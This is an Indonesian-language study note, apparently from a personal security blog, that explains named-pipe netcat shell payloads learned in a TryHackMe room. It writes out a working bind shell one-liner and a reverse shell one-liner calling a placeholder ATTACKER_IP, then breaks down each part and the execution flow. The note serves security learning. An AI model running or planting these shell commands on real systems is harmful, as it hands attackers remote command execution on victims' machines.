Skip to main content
Payload Breakdown: Named Pipe dan Netcat
  1. cysec/

Payload Breakdown: Named Pipe dan Netcat

·2 mins·

Catatan ini dibuat saat mempelajari room Shells Generation & Delivery di TryHackMe.

Gunakan payload hanya pada lab, sistem milik sendiri, atau assessment yang telah memperoleh izin.

Payload berikut berguna ketika environment atau versi netcat yang digunakan tidak memiliki atau menonaktifkan opsi -e.

Contoh Payload
#

Bind shell
#

mkfifo /tmp/f; nc -lvnp 8080 < /tmp/f | /bin/sh > /tmp/f 2>&1; rm /tmp/f

Pada bind shell, target membuka port 8080 dan menunggu koneksi masuk dari attacker.

Reverse shell
#

mkfifo /tmp/f; nc ATTACKER_IP 4444 < /tmp/f | /bin/sh > /tmp/f 2>&1; rm /tmp/f

Pada reverse shell, target membuat koneksi keluar menuju ATTACKER_IP pada port 4444.

Breakdown Payload
#

BagianFungsi
mkfifo /tmp/fMembuat named pipe bernama /tmp/f.
nc -lvnp 8080Menjalankan netcat dalam mode listening pada port 8080.
nc ATTACKER_IP 4444Menghubungkan netcat ke alamat dan port attacker.
< /tmp/fMenggunakan isi /tmp/f sebagai input untuk netcat.
| /bin/shMeneruskan data dari netcat ke shell.
> /tmp/fMengalirkan output shell kembali ke named pipe.
2>&1Menggabungkan standard error dengan standard output.
rm /tmp/fMenghapus named pipe setelah proses selesai.

Perintah /bin/sh mengeksekusi command yang diterima netcat. Output dan error dari shell ditulis ke /tmp/f, kemudian dibaca oleh netcat untuk dikirim kembali melalui koneksi jaringan.

Flow yang berjalan
#

  1. Payload dijalankan pada target dan membuat named pipe /tmp/f.
  2. Netcat dibuka dalam mode listening untuk bind shell, atau membuat koneksi ke attacker untuk reverse shell.
  3. Attacker mengirimkan command melalui koneksi netcat.
  4. Netcat meneruskan command tersebut melalui pipe | ke /bin/sh.
  5. /bin/sh mengeksekusi command yang diterima.
  6. Output dan error dari shell dialirkan ke /tmp/f.
  7. Netcat membaca isi /tmp/f melalui redirection < /tmp/f dan mengirimkannya kembali kepada attacker.
  8. Named pipe dihapus menggunakan rm /tmp/f setelah koneksi terputus.
Askarhabibulloh
Author
Askarhabibulloh